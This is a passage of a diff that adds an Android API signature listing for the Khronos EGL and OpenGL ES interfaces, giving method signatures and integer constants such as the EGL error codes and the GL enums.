+    method public boolean eglDestroyContext(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLContext);
+    method public boolean eglDestroySurface(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLSurface);
+    method public boolean eglGetConfigAttrib(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig, int, int[]);
+    method public boolean eglGetConfigs(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig[], int, int[]);
+    method public javax.microedition.khronos.egl.EGLContext eglGetCurrentContext();
+    method public javax.microedition.khronos.egl.EGLDisplay eglGetCurrentDisplay();
+    method public javax.microedition.khronos.egl.EGLSurface eglGetCurrentSurface(int);
+    method public javax.microedition.khronos.egl.EGLDisplay eglGetDisplay(Object);
+    method public int eglGetError();
+    method public boolean eglInitialize(javax.microedition.khronos.egl.EGLDisplay, int[]);
+    method public boolean eglMakeCurrent(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLSurface, javax.microedition.khronos.egl.EGLSurface, javax.microedition.khronos.egl.EGLContext);
+    method public boolean eglQueryContext(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLContext, int, int[]);
+    method public String eglQueryString(javax.microedition.khronos.egl.EGLDisplay, int);
+    method public boolean eglQuerySurface(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLSurface, int, int[]);
+    method public boolean eglSwapBuffers(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLSurface);
+    method public boolean eglTerminate(javax.microedition.khronos.egl.EGLDisplay);
+    method public boolean eglWaitGL();
+    method public boolean eglWaitNative(int, Object);
+    field public static final int EGL_ALPHA_FORMAT = 12424; // 0x3088
+    field public static final int EGL_ALPHA_MASK_SIZE = 12350; // 0x303e
+    field public static final int EGL_ALPHA_SIZE = 12321; // 0x3021
+    field public static final int EGL_BAD_ACCESS = 12290; // 0x3002
+    field public static final int EGL_BAD_ALLOC = 12291; // 0x3003
+    field public static final int EGL_BAD_ATTRIBUTE = 12292; // 0x3004
+    field public static final int EGL_BAD_CONFIG = 12293; // 0x3005
+    field public static final int EGL_BAD_CONTEXT = 12294; // 0x3006
+    field public static final int EGL_BAD_CURRENT_SURFACE = 12295; // 0x3007
+    field public static final int EGL_BAD_DISPLAY = 12296; // 0x3008
+    field public static final int EGL_BAD_MATCH = 12297; // 0x3009
+    field public static final int EGL_BAD_NATIVE_PIXMAP = 12298; // 0x300a
+    field public static final int EGL_BAD_NATIVE_WINDOW = 12299; // 0x300b
+    field public static final int EGL_BAD_PARAMETER = 12300; // 0x300c
+    field public static final int EGL_BAD_SURFACE = 12301; // 0x300d
+    field public static final int EGL_BLUE_SIZE = 12322; // 0x3022
+    field public static final int EGL_BUFFER_SIZE = 12320; // 0x3020
+    field public static final int EGL_COLORSPACE = 12423; // 0x3087
+    field public static final int EGL_COLOR_BUFFER_TYPE = 12351; // 0x303f
+    field public static final int EGL_CONFIG_CAVEAT = 12327; // 0x3027
+    field public static final int EGL_CONFIG_ID = 12328; // 0x3028
+    field public static final int EGL_CORE_NATIVE_ENGINE = 12379; // 0x305b
+    field public static final Object EGL_DEFAULT_DISPLAY;
+    field public static final int EGL_DEPTH_SIZE = 12325; // 0x3025
+    field public static final int EGL_DONT_CARE = -1; // 0xffffffff
+    field public static final int EGL_DRAW = 12377; // 0x3059
+    field public static final int EGL_EXTENSIONS = 12373; // 0x3055
+    field public static final int EGL_GREEN_SIZE = 12323; // 0x3023
+    field public static final int EGL_HEIGHT = 12374; // 0x3056
+    field public static final int EGL_HORIZONTAL_RESOLUTION = 12432; // 0x3090
+    field public static final int EGL_LARGEST_PBUFFER = 12376; // 0x3058
+    field public static final int EGL_LEVEL = 12329; // 0x3029
+    field public static final int EGL_LUMINANCE_BUFFER = 12431; // 0x308f
+    field public static final int EGL_LUMINANCE_SIZE = 12349; // 0x303d
+    field public static final int EGL_MAX_PBUFFER_HEIGHT = 12330; // 0x302a
+    field public static final int EGL_MAX_PBUFFER_PIXELS = 12331; // 0x302b
+    field public static final int EGL_MAX_PBUFFER_WIDTH = 12332; // 0x302c
+    field public static final int EGL_NATIVE_RENDERABLE = 12333; // 0x302d
+    field public static final int EGL_NATIVE_VISUAL_ID = 12334; // 0x302e
+    field public static final int EGL_NATIVE_VISUAL_TYPE = 12335; // 0x302f
+    field public static final int EGL_NONE = 12344; // 0x3038
+    field public static final int EGL_NON_CONFORMANT_CONFIG = 12369; // 0x3051
+    field public static final int EGL_NOT_INITIALIZED = 12289; // 0x3001
+    field public static final javax.microedition.khronos.egl.EGLContext EGL_NO_CONTEXT;
+    field public static final javax.microedition.khronos.egl.EGLDisplay EGL_NO_DISPLAY;
+    field public static final javax.microedition.khronos.egl.EGLSurface EGL_NO_SURFACE;
+    field public static final int EGL_PBUFFER_BIT = 1; // 0x1
+    field public static final int EGL_PIXEL_ASPECT_RATIO = 12434; // 0x3092
+    field public static final int EGL_PIXMAP_BIT = 2; // 0x2
+    field public static final int EGL_READ = 12378; // 0x305a
+    field public static final int EGL_RED_SIZE = 12324; // 0x3024
+    field public static final int EGL_RENDERABLE_TYPE = 12352; // 0x3040
+    field public static final int EGL_RENDER_BUFFER = 12422; // 0x3086
+    field public static final int EGL_RGB_BUFFER = 12430; // 0x308e
+    field public static final int EGL_SAMPLES = 12337; // 0x3031
+    field public static final int EGL_SAMPLE_BUFFERS = 12338; // 0x3032
+    field public static final int EGL_SINGLE_BUFFER = 12421; // 0x3085
+    field public static final int EGL_SLOW_CONFIG = 12368; // 0x3050
+    field public static final int EGL_STENCIL_SIZE = 12326; // 0x3026
+    field public static final int EGL_SUCCESS = 12288; // 0x3000
+    field public static final int EGL_SURFACE_TYPE = 12339; // 0x3033
+    field public static final int EGL_TRANSPARENT_BLUE_VALUE = 12341; // 0x3035
+    field public static final int EGL_TRANSPARENT_GREEN_VALUE = 12342; // 0x3036
+    field public static final int EGL_TRANSPARENT_RED_VALUE = 12343; // 0x3037
+    field public static final int EGL_TRANSPARENT_RGB = 12370; // 0x3052
+    field public static final int EGL_TRANSPARENT_TYPE = 12340; // 0x3034
+    field public static final int EGL_VENDOR = 12371; // 0x3053
+    field public static final int EGL_VERSION = 12372; // 0x3054
+    field public static final int EGL_VERTICAL_RESOLUTION = 12433; // 0x3091
+    field public static final int EGL_WIDTH = 12375; // 0x3057
+    field public static final int EGL_WINDOW_BIT = 4; // 0x4
+  }
+
+  public interface EGL11 extends javax.microedition.khronos.egl.EGL10 {
+    field public static final int EGL_CONTEXT_LOST = 12302; // 0x300e
+  }
+
+  public abstract class EGLConfig {
+    ctor public EGLConfig();
+  }
+
+  public abstract class EGLContext {
+    ctor public EGLContext();
+    method public static javax.microedition.khronos.egl.EGL getEGL();
+    method public abstract javax.microedition.khronos.opengles.GL getGL();
+  }
+
+  public abstract class EGLDisplay {
+    ctor public EGLDisplay();
+  }
+
+  public abstract class EGLSurface {
+    ctor public EGLSurface();
+  }
+
+}
+
+package javax.microedition.khronos.opengles {
+
+  public interface GL {
+  }
+
+  public interface GL10 extends javax.microedition.khronos.opengles.GL {
+    method public void glActiveTexture(int);
+    method public void glAlphaFunc(int, float);
+    method public void glAlphaFuncx(int, int);
+    method public void glBindTexture(int, int);
+    method public void glBlendFunc(int, int);
+    method public void glClear(int);
+    method public void glClearColor(float, float, float, float);
+    method public void glClearColorx(int, int, int, int);
+    method public void glClearDepthf(float);
+    method public void glClearDepthx(int);
+    method public void glClearStencil(int);
+    method public void glClientActiveTexture(int);
+    method public void glColor4f(float, float, float, float);
+    method public void glColor4x(int, int, int, int);
+    method public void glColorMask(boolean, boolean, boolean, boolean);
+    method public void glColorPointer(int, int, int, java.nio.Buffer);
+    method public void glCompressedTexImage2D(int, int, int, int, int, int, int, java.nio.Buffer);
+    method public void glCompressedTexSubImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public void glCopyTexImage2D(int, int, int, int, int, int, int, int);
+    method public void glCopyTexSubImage2D(int, int, int, int, int, int, int, int);
+    method public void glCullFace(int);
+    method public void glDeleteTextures(int, int[], int);
+    method public void glDeleteTextures(int, java.nio.IntBuffer);
+    method public void glDepthFunc(int);
+    method public void glDepthMask(boolean);
+    method public void glDepthRangef(float, float);
+    method public void glDepthRangex(int, int);
+    method public void glDisable(int);
+    method public void glDisableClientState(int);
+    method public void glDrawArrays(int, int, int);
+    method public void glDrawElements(int, int, int, java.nio.Buffer);
+    method public void glEnable(int);
+    method public void glEnableClientState(int);
+    method public void glFinish();
+    method public void glFlush();
+    method public void glFogf(int, float);
+    method public void glFogfv(int, float[], int);
+    method public void glFogfv(int, java.nio.FloatBuffer);
+    method public void glFogx(int, int);
+    method public void glFogxv(int, int[], int);
+    method public void glFogxv(int, java.nio.IntBuffer);
+    method public void glFrontFace(int);
+    method public void glFrustumf(float, float, float, float, float, float);
+    method public void glFrustumx(int, int, int, int, int, int);
+    method public void glGenTextures(int, int[], int);
+    method public void glGenTextures(int, java.nio.IntBuffer);
+    method public int glGetError();
+    method public void glGetIntegerv(int, int[], int);
+    method public void glGetIntegerv(int, java.nio.IntBuffer);
+    method public String glGetString(int);
+    method public void glHint(int, int);
+    method public void glLightModelf(int, float);
+    method public void glLightModelfv(int, float[], int);
+    method public void glLightModelfv(int, java.nio.FloatBuffer);
+    method public void glLightModelx(int, int);
+    method public void glLightModelxv(int, int[], int);
+    method public void glLightModelxv(int, java.nio.IntBuffer);
+    method public void glLightf(int, int, float);
+    method public void glLightfv(int, int, float[], int);
+    method public void glLightfv(int, int, java.nio.FloatBuffer);
+    method public void glLightx(int, int, int);
+    method public void glLightxv(int, int, int[], int);
+    method public void glLightxv(int, int, java.nio.IntBuffer);
+    method public void glLineWidth(float);
+    method public void glLineWidthx(int);
+    method public void glLoadIdentity();
+    method public void glLoadMatrixf(float[], int);
+    method public void glLoadMatrixf(java.nio.FloatBuffer);
+    method public void glLoadMatrixx(int[], int);
+    method public void glLoadMatrixx(java.nio.IntBuffer);
+    method public void glLogicOp(int);
+    method public void glMaterialf(int, int, float);
+    method public void glMaterialfv(int, int, float[], int);
+    method public void glMaterialfv(int, int, java.nio.FloatBuffer);
+    method public void glMaterialx(int, int, int);
+    method public void glMaterialxv(int, int, int[], int);
+    method public void glMaterialxv(int, int, java.nio.IntBuffer);
+    method public void glMatrixMode(int);
+    method public void glMultMatrixf(float[], int);
+    method public void glMultMatrixf(java.nio.FloatBuffer);
+    method public void glMultMatrixx(int[], int);
+    method public void glMultMatrixx(java.nio.IntBuffer);
+    method public void glMultiTexCoord4f(int, float, float, float, float);
+    method public void glMultiTexCoord4x(int, int, int, int, int);
+    method public void glNormal3f(float, float, float);
+    method public void glNormal3x(int, int, int);
+    method public void glNormalPointer(int, int, java.nio.Buffer);
+    method public void glOrthof(float, float, float, float, float, float);
+    method public void glOrthox(int, int, int, int, int, int);
+    method public void glPixelStorei(int, int);
+    method public void glPointSize(float);
+    method public void glPointSizex(int);
+    method public void glPolygonOffset(float, float);
+    method public void glPolygonOffsetx(int, int);
+    method public void glPopMatrix();
+    method public void glPushMatrix();
+    method public void glReadPixels(int, int, int, int, int, int, java.nio.Buffer);
+    method public void glRotatef(float, float, float, float);
+    method public void glRotatex(int, int, int, int);
+    method public void glSampleCoverage(float, boolean);
+    method public void glSampleCoveragex(int, boolean);
+    method public void glScalef(float, float, float);
+    method public void glScalex(int, int, int);
+    method public void glScissor(int, int, int, int);
+    method public void glShadeModel(int);
+    method public void glStencilFunc(int, int, int);
+    method public void glStencilMask(int);
+    method public void glStencilOp(int, int, int);
+    method public void glTexCoordPointer(int, int, int, java.nio.Buffer);
+    method public void glTexEnvf(int, int, float);
+    method public void glTexEnvfv(int, int, float[], int);
+    method public void glTexEnvfv(int, int, java.nio.FloatBuffer);
+    method public void glTexEnvx(int, int, int);
+    method public void glTexEnvxv(int, int, int[], int);
+    method public void glTexEnvxv(int, int, java.nio.IntBuffer);
+    method public void glTexImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public void glTexParameterf(int, int, float);
+    method public void glTexParameterx(int, int, int);
+    method public void glTexSubImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public void glTranslatef(float, float, float);
+    method public void glTranslatex(int, int, int);
+    method public void glVertexPointer(int, int, int, java.nio.Buffer);
+    method public void glViewport(int, int, int, int);
+    field public static final int GL_ADD = 260; // 0x104
+    field public static final int GL_ALIASED_LINE_WIDTH_RANGE = 33902; // 0x846e
+    field public static final int GL_ALIASED_POINT_SIZE_RANGE = 33901; // 0x846d
+    field public static final int GL_ALPHA = 6406; // 0x1906
+    field public static final int GL_ALPHA_BITS = 3413; // 0xd55
+    field public static final int GL_ALPHA_TEST = 3008; // 0xbc0
+    field public static final int GL_ALWAYS = 519; // 0x207
+    field public static final int GL_AMBIENT = 4608; // 0x1200
+    field public static final int GL_AMBIENT_AND_DIFFUSE = 5634; // 0x1602
+    field public static final int GL_AND = 5377; // 0x1501
+    field public static final int GL_AND_INVERTED = 5380; // 0x1504
+    field public static final int GL_AND_REVERSE = 5378; // 0x1502
+    field public static final int GL_BACK = 1029; // 0x405
+    field public static final int GL_BLEND = 3042; // 0xbe2
+    field public static final int GL_BLUE_BITS = 3412; // 0xd54
+    field public static final int GL_BYTE = 5120; // 0x1400
+    field public static final int GL_CCW = 2305; // 0x901
+    field public static final int GL_CLAMP_TO_EDGE = 33071; // 0x812f
+    field public static final int GL_CLEAR = 5376; // 0x1500
+    field public static final int GL_COLOR_ARRAY = 32886; // 0x8076
+    field public static final int GL_COLOR_BUFFER_BIT = 16384; // 0x4000
+    field public static final int GL_COLOR_LOGIC_OP = 3058; // 0xbf2
+    field public static final int GL_COLOR_MATERIAL = 2903; // 0xb57
+    field public static final int GL_COMPRESSED_TEXTURE_FORMATS = 34467; // 0x86a3
+    field public static final int GL_CONSTANT_ATTENUATION = 4615; // 0x1207
+    field public static final int GL_COPY = 5379; // 0x1503
+    field public static final int GL_COPY_INVERTED = 5388; // 0x150c
+    field public static final int GL_CULL_FACE = 2884; // 0xb44
+    field public static final int GL_CW = 2304; // 0x900
+    field public static final int GL_DECAL = 8449; // 0x2101
+    field public static final int GL_DECR = 7683; // 0x1e03
+    field public static final int GL_DEPTH_BITS = 3414; // 0xd56
+    field public static final int GL_DEPTH_BUFFER_BIT = 256; // 0x100
+    field public static final int GL_DEPTH_TEST = 2929; // 0xb71
+    field public static final int GL_DIFFUSE = 4609; // 0x1201
+    field public static final int GL_DITHER = 3024; // 0xbd0
+    field public static final int GL_DONT_CARE = 4352; // 0x1100
+    field public static final int GL_DST_ALPHA = 772; // 0x304
+    field public static final int GL_DST_COLOR = 774; // 0x306
+    field public static final int GL_EMISSION = 5632; // 0x1600
+    field public static final int GL_EQUAL = 514; // 0x202
+    field public static final int GL_EQUIV = 5385; // 0x1509
+    field public static final int GL_EXP = 2048; // 0x800
+    field public static final int GL_EXP2 = 2049; // 0x801
+    field public static final int GL_EXTENSIONS = 7939; // 0x1f03
+    field public static final int GL_FALSE = 0; // 0x0
+    field public static final int GL_FASTEST = 4353; // 0x1101
+    field public static final int GL_FIXED = 5132; // 0x140c
+    field public static final int GL_FLAT = 7424; // 0x1d00
+    field public static final int GL_FLOAT = 5126; // 0x1406
+    field public static final int GL_FOG = 2912; // 0xb60
+    field public static final int GL_FOG_COLOR = 2918; // 0xb66
+    field public static final int GL_FOG_DENSITY = 2914; // 0xb62
+    field public static final int GL_FOG_END = 2916; // 0xb64
+    field public static final int GL_FOG_HINT = 3156; // 0xc54
+    field public static final int GL_FOG_MODE = 2917; // 0xb65
+    field public static final int GL_FOG_START = 2915; // 0xb63
+    field public static final int GL_FRONT = 1028; // 0x404
+    field public static final int GL_FRONT_AND_BACK = 1032; // 0x408
+    field public static final int GL_GEQUAL = 518; // 0x206
+    field public static final int GL_GREATER = 516; // 0x204
+    field public static final int GL_GREEN_BITS = 3411; // 0xd53
+    field public static final int GL_IMPLEMENTATION_COLOR_READ_FORMAT_OES = 35739; // 0x8b9b
+    field public static final int GL_IMPLEMENTATION_COLOR_READ_TYPE_OES = 35738; // 0x8b9a
+    field public static final int GL_INCR = 7682; // 0x1e02
+    field public static final int GL_INVALID_ENUM = 1280; // 0x500
+    field public static final int GL_INVALID_OPERATION = 1282; // 0x502
+    field public static final int GL_INVALID_VALUE = 1281; // 0x501
+    field public static final int GL_INVERT = 5386; // 0x150a
+    field public static final int GL_KEEP = 7680; // 0x1e00
+    field public static final int GL_LEQUAL = 515; // 0x203
+    field public static final int GL_LESS = 513; // 0x201
+    field public static final int GL_LIGHT0 = 16384; // 0x4000
+    field public static final int GL_LIGHT1 = 16385; // 0x4001
+    field public static final int GL_LIGHT2 = 16386; // 0x4002
+    field public static final int GL_LIGHT3 = 16387; // 0x4003
+    field public static final int GL_LIGHT4 = 16388; // 0x4004
+    field public static final int GL_LIGHT5 = 16389; // 0x4005
+    field public static final int GL_LIGHT6 = 16390; // 0x4006
+    field public static final int GL_LIGHT7 = 16391; // 0x4007
+    field public static final int GL_LIGHTING = 2896; // 0xb50
+    field public static final int GL_LIGHT_MODEL_AMBIENT = 2899; // 0xb53
+    field public static final int GL_LIGHT_MODEL_TWO_SIDE = 2898; // 0xb52
+    field public static final int GL_LINEAR = 9729; // 0x2601
+    field public static final int GL_LINEAR_ATTENUATION = 4616; // 0x1208
+    field public static final int GL_LINEAR_MIPMAP_LINEAR = 9987; // 0x2703
+    field public static final int GL_LINEAR_MIPMAP_NEAREST = 9985; // 0x2701
+    field public static final int GL_LINES = 1; // 0x1
+    field public static final int GL_LINE_LOOP = 2; // 0x2
+    field public static final int GL_LINE_SMOOTH = 2848; // 0xb20
+    field public static final int GL_LINE_SMOOTH_HINT = 3154; // 0xc52
+    field public static final int GL_LINE_STRIP = 3; // 0x3
+    field public static final int GL_LUMINANCE = 6409; // 0x1909
+    field public static final int GL_LUMINANCE_ALPHA = 6410; // 0x190a
+    field public static final int GL_MAX_ELEMENTS_INDICES = 33001; // 0x80e9
+    field public static final int GL_MAX_ELEMENTS_VERTICES = 33000; // 0x80e8
+    field public static final int GL_MAX_LIGHTS = 3377; // 0xd31
+    field public static final int GL_MAX_MODELVIEW_STACK_DEPTH = 3382; // 0xd36
+    field public static final int GL_MAX_PROJECTION_STACK_DEPTH = 3384; // 0xd38
+    field public static final int GL_MAX_TEXTURE_SIZE = 3379; // 0xd33
+    field public static final int GL_MAX_TEXTURE_STACK_DEPTH = 3385; // 0xd39
+    field public static final int GL_MAX_TEXTURE_UNITS = 34018; // 0x84e2
+    field public static final int GL_MAX_VIEWPORT_DIMS = 3386; // 0xd3a
+    field public static final int GL_MODELVIEW = 5888; // 0x1700
+    field public static final int GL_MODULATE = 8448; // 0x2100
+    field public static final int GL_MULTISAMPLE = 32925; // 0x809d
+    field public static final int GL_NAND = 5390; // 0x150e
+    field public static final int GL_NEAREST = 9728; // 0x2600
+    field public static final int GL_NEAREST_MIPMAP_LINEAR = 9986; // 0x2702
+    field public static final int GL_NEAREST_MIPMAP_NEAREST = 9984; // 0x2700
+    field public static final int GL_NEVER = 512; // 0x200
+    field public static final int GL_NICEST = 4354; // 0x1102
+    field public static final int GL_NOOP = 5381; // 0x1505
+    field public static final int GL_NOR = 5384; // 0x1508
+    field public static final int GL_NORMALIZE = 2977; // 0xba1
+    field public static final int GL_NORMAL_ARRAY = 32885; // 0x8075
+    field public static final int GL_NOTEQUAL = 517; // 0x205
+    field public static final int GL_NO_ERROR = 0; // 0x0
+    field public static final int GL_NUM_COMPRESSED_TEXTURE_FORMATS = 34466; // 0x86a2
+    field public static final int GL_ONE = 1; // 0x1
+    field public static final int GL_ONE_MINUS_DST_ALPHA = 773; // 0x305
+    field public static final int GL_ONE_MINUS_DST_COLOR = 775; // 0x307
+    field public static final int GL_ONE_MINUS_SRC_ALPHA = 771; // 0x303
+    field public static final int GL_ONE_MINUS_SRC_COLOR = 769; // 0x301
+    field public static final int GL_OR = 5383; // 0x1507
+    field public static final int GL_OR_INVERTED = 5389; // 0x150d
+    field public static final int GL_OR_REVERSE = 5387; // 0x150b
+    field public static final int GL_OUT_OF_MEMORY = 1285; // 0x505
+    field public static final int GL_PACK_ALIGNMENT = 3333; // 0xd05
+    field public static final int GL_PALETTE4_R5_G6_B5_OES = 35730; // 0x8b92
+    field public static final int GL_PALETTE4_RGB5_A1_OES = 35732; // 0x8b94
+    field public static final int GL_PALETTE4_RGB8_OES = 35728; // 0x8b90
+    field public static final int GL_PALETTE4_RGBA4_OES = 35731; // 0x8b93
+    field public static final int GL_PALETTE4_RGBA8_OES = 35729; // 0x8b91
+    field public static final int GL_PALETTE8_R5_G6_B5_OES = 35735; // 0x8b97
+    field public static final int GL_PALETTE8_RGB5_A1_OES = 35737; // 0x8b99
+    field public static final int GL_PALETTE8_RGB8_OES = 35733; // 0x8b95
+    field public static final int GL_PALETTE8_RGBA4_OES = 35736; // 0x8b98
+    field public static final int GL_PALETTE8_RGBA8_OES = 35734; // 0x8b96
+    field public static final int GL_PERSPECTIVE_CORRECTION_HINT = 3152; // 0xc50
+    field public static final int GL_POINTS = 0; // 0x0
+    field public static final int GL_POINT_FADE_THRESHOLD_SIZE = 33064; // 0x8128
+    field public static final int GL_POINT_SIZE = 2833; // 0xb11
+    field public static final int GL_POINT_SMOOTH = 2832; // 0xb10
+    field public static final int GL_POINT_SMOOTH_HINT = 3153; // 0xc51
+    field public static final int GL_POLYGON_OFFSET_FILL = 32823; // 0x8037
+    field public static final int GL_POLYGON_SMOOTH_HINT = 3155; // 0xc53
+    field public static final int GL_POSITION = 4611; // 0x1203
+    field public static final int GL_PROJECTION = 5889; // 0x1701
+    field public static final int GL_QUADRATIC_ATTENUATION = 4617; // 0x1209
+    field public static final int GL_RED_BITS = 3410; // 0xd52
+    field public static final int GL_RENDERER = 7937; // 0x1f01
+    field public static final int GL_REPEAT = 10497; // 0x2901
+    field public static final int GL_REPLACE = 7681; // 0x1e01
+    field public static final int GL_RESCALE_NORMAL = 32826; // 0x803a
+    field public static final int GL_RGB = 6407; // 0x1907
+    field public static final int GL_RGBA = 6408; // 0x1908
+    field public static final int GL_SAMPLE_ALPHA_TO_COVERAGE = 32926; // 0x809e
+    field public static final int GL_SAMPLE_ALPHA_TO_ONE = 32927; // 0x809f
+    field public static final int GL_SAMPLE_COVERAGE = 32928; // 0x80a0
+    field public static final int GL_SCISSOR_TEST = 3089; // 0xc11
+    field public static final int GL_SET = 5391; // 0x150f
+    field public static final int GL_SHININESS = 5633; // 0x1601
+    field public static final int GL_SHORT = 5122; // 0x1402
+    field public static final int GL_SMOOTH = 7425; // 0x1d01
+    field public static final int GL_SMOOTH_LINE_WIDTH_RANGE = 2850; // 0xb22
+    field public static final int GL_SMOOTH_POINT_SIZE_RANGE = 2834; // 0xb12
+    field public static final int GL_SPECULAR = 4610; // 0x1202
+    field public static final int GL_SPOT_CUTOFF = 4614; // 0x1206
+    field public static final int GL_SPOT_DIRECTION = 4612; // 0x1204
+    field public static final int GL_SPOT_EXPONENT = 4613; // 0x1205
+    field public static final int GL_SRC_ALPHA = 770; // 0x302
+    field public static final int GL_SRC_ALPHA_SATURATE = 776; // 0x308
+    field public static final int GL_SRC_COLOR = 768; // 0x300
+    field public static final int GL_STACK_OVERFLOW = 1283; // 0x503
+    field public static final int GL_STACK_UNDERFLOW = 1284; // 0x504
+    field public static final int GL_STENCIL_BITS = 3415; // 0xd57
+    field public static final int GL_STENCIL_BUFFER_BIT = 1024; // 0x400
+    field public static final int GL_STENCIL_TEST = 2960; // 0xb90
+    field public static final int GL_SUBPIXEL_BITS = 3408; // 0xd50
+    field public static final int GL_TEXTURE = 5890; // 0x1702
+    field public static final int GL_TEXTURE0 = 33984; // 0x84c0
+    field public static final int GL_TEXTURE1 = 33985; // 0x84c1
+    field public static final int GL_TEXTURE10 = 33994; // 0x84ca
+    field public static final int GL_TEXTURE11 = 33995; // 0x84cb
+    field public static final int GL_TEXTURE12 = 33996; // 0x84cc
+    field public static final int GL_TEXTURE13 = 33997; // 0x84cd
+    field public static final int GL_TEXTURE14 = 33998; // 0x84ce
+    field public static final int GL_TEXTURE15 = 33999; // 0x84cf
+    field public static final int GL_TEXTURE16 = 34000; // 0x84d0
+    field public static final int GL_TEXTURE17 = 34001; // 0x84d1
+    field public static final int GL_TEXTURE18 = 34002; // 0x84d2
+    field public static final int GL_TEXTURE19 = 34003; // 0x84d3
+    field public static final int GL_TEXTURE2 = 33986; // 0x84c2
+    field public static final int GL_TEXTURE20 = 34004; // 0x84d4
+    field public static final int GL_TEXTURE21 = 34005; // 0x84d5
+    field public static final int GL_TEXTURE22 = 34006; // 0x84d6
+    field public static final int GL_TEXTURE23 = 34007; // 0x84d7
+    field public static final int GL_TEXTURE24 = 34008; // 0x84d8
+    field public static final int GL_TEXTURE25 = 34009; // 0x84d9
+    field public static final int GL_TEXTURE26 = 34010; // 0x84da
+    field public static final int GL_TEXTURE27 = 34011; // 0x84db
+    field public static final int GL_TEXTURE28 = 34012; // 0x84dc
+    field public static final int GL_TEXTURE29 = 34013; // 0x84dd
+    field public static final int GL_TEXTURE3 = 33987; // 0x84c3
+    field public static final int GL_TEXTURE30 = 34014; // 0x84de
+    field public static final int GL_TEXTURE31 = 34015; // 0x84df
+    field public static final int GL_TEXTURE4 = 33988; // 0x84c4
+    field public static final int GL_TEXTURE5 = 33989; // 0x84c5
+    field public static final int GL_TEXTURE6 = 33990; // 0x84c6
+    field public static final int GL_TEXTURE7 = 33991; // 0x84c7
+    field public static final int GL_TEXTURE8 = 33992; // 0x84c8
+    field public static final int GL_TEXTURE9 = 33993; // 0x84c9
+    field public static final int GL_TEXTURE_2D = 3553; // 0xde1
+    field public static final int GL_TEXTURE_COORD_ARRAY = 32888; // 0x8078
+    field public static final int GL_TEXTURE_ENV = 8960; // 0x2300
+    field public static final int GL_TEXTURE_ENV_COLOR = 8705; // 0x2201
+    field public static final int GL_TEXTURE_ENV_MODE = 8704; // 0x2200
+    field public static final int GL_TEXTURE_MAG_FILTER = 10240; // 0x2800
+    field public static final int GL_TEXTURE_MIN_FILTER = 10241; // 0x2801
+    field public static final int GL_TEXTURE_WRAP_S = 10242; // 0x2802
+    field public static final int GL_TEXTURE_WRAP_T = 10243; // 0x2803
+    field public static final int GL_TRIANGLES = 4; // 0x4
+    field public static final int GL_TRIANGLE_FAN = 6; // 0x6
+    field public static final int GL_TRIANGLE_STRIP = 5; // 0x5
+    field public static final int GL_TRUE = 1; // 0x1
+    field public static final int GL_UNPACK_ALIGNMENT = 3317; // 0xcf5
+    field public static final int GL_UNSIGNED_BYTE = 5121; // 0x1401
+    field public static final int GL_UNSIGNED_SHORT = 5123; // 0x1403
+    field public static final int GL_UNSIGNED_SHORT_4_4_4_4 = 32819; // 0x8033
+    field public static final int GL_UNSIGNED_SHORT_5_5_5_1 = 32820; // 0x8034
+    field public static final int GL_UNSIGNED_SHORT_5_6_5 = 33635; // 0x8363
+    field public static final int GL_VENDOR = 7936; // 0x1f00
+    field public static final int GL_VERSION = 7938; // 0x1f02
+    field public static final int GL_VERTEX_ARRAY = 32884; // 0x8074
+    field public static final int GL_XOR = 5382; // 0x1506
+    field public static final int GL_ZERO = 0; // 0x0
+  }
+
+  public interface GL10Ext extends javax.microedition.khronos.opengles.GL {
+    method public int glQueryMatrixxOES(int[], int, int[], int);
+    method public int glQueryMatrixxOES(java.nio.IntBuffer, java.nio.IntBuffer);
+  }
+
+  public interface GL11 extends javax.microedition.khronos.opengles.GL10 {
+    method public void glBindBuffer(int, int);
+    method public void glBufferData(int, int, java.nio.Buffer, int);
+    method public void glBufferSubData(int, int, int, java.nio.Buffer);
+    method public void glClipPlanef(int, float[], int);
+    method public void glClipPlanef(int, java.nio.FloatBuffer);
+    method public void glClipPlanex(int, int[], int);
+    method public void glClipPlanex(int, java.nio.IntBuffer);
+    method public void glColor4ub(byte, byte, byte, byte);
+    method public void glColorPointer(int, int, int, int);
+    method public void glDeleteBuffers(int, int[], int);
+    method public void glDeleteBuffers(int, java.nio.IntBuffer);
+    method public void glDrawElements(int, int, int, int);
+    method public void glGenBuffers(int, int[], int);
+    method public void glGenBuffers(int, java.nio.IntBuffer);
+    method public void glGetBooleanv(int, boolean[], int);
+    method public void glGetBooleanv(int, java.nio.IntBuffer);
+    method public void glGetBufferParameteriv(int, int, int[], int);
+    method public void glGetBufferParameteriv(int, int, java.nio.IntBuffer);
+    method public void glGetClipPlanef(int, float[], int);
+    method public void glGetClipPlanef(int, java.nio.FloatBuffer);
+    method public void glGetClipPlanex(int, int[], int);
+    method public void glGetClipPlanex(int, java.nio.IntBuffer);
+    method public void glGetFixedv(int, int[], int);
+    method public void glGetFixedv(int, java.nio.IntBuffer);
+    method public void glGetFloatv(int, float[], int);
+    method public void glGetFloatv(int, java.nio.FloatBuffer);
+    method public void glGetLightfv(int, int, float[], int);
+    method public void glGetLightfv(int, int, java.nio.FloatBuffer);
+    method public void glGetLightxv(int, int, int[], int);
+    method public void glGetLightxv(int, int, java.nio.IntBuffer);
+    method public void glGetMaterialfv(int, int, float[], int);
+    method public void glGetMaterialfv(int, int, java.nio.FloatBuffer);
+    method public void glGetMaterialxv(int, int, int[], int);
+    method public void glGetMaterialxv(int, int, java.nio.IntBuffer);
+    method public void glGetPointerv(int, java.nio.Buffer[]);
+    method public void glGetTexEnviv(int, int, int[], int);
+    method public void glGetTexEnviv(int, int, java.nio.IntBuffer);
+    method public void glGetTexEnvxv(int, int, int[], int);
+    method public void glGetTexEnvxv(int, int, java.nio.IntBuffer);
+    method public void glGetTexParameterfv(int, int, float[], int);
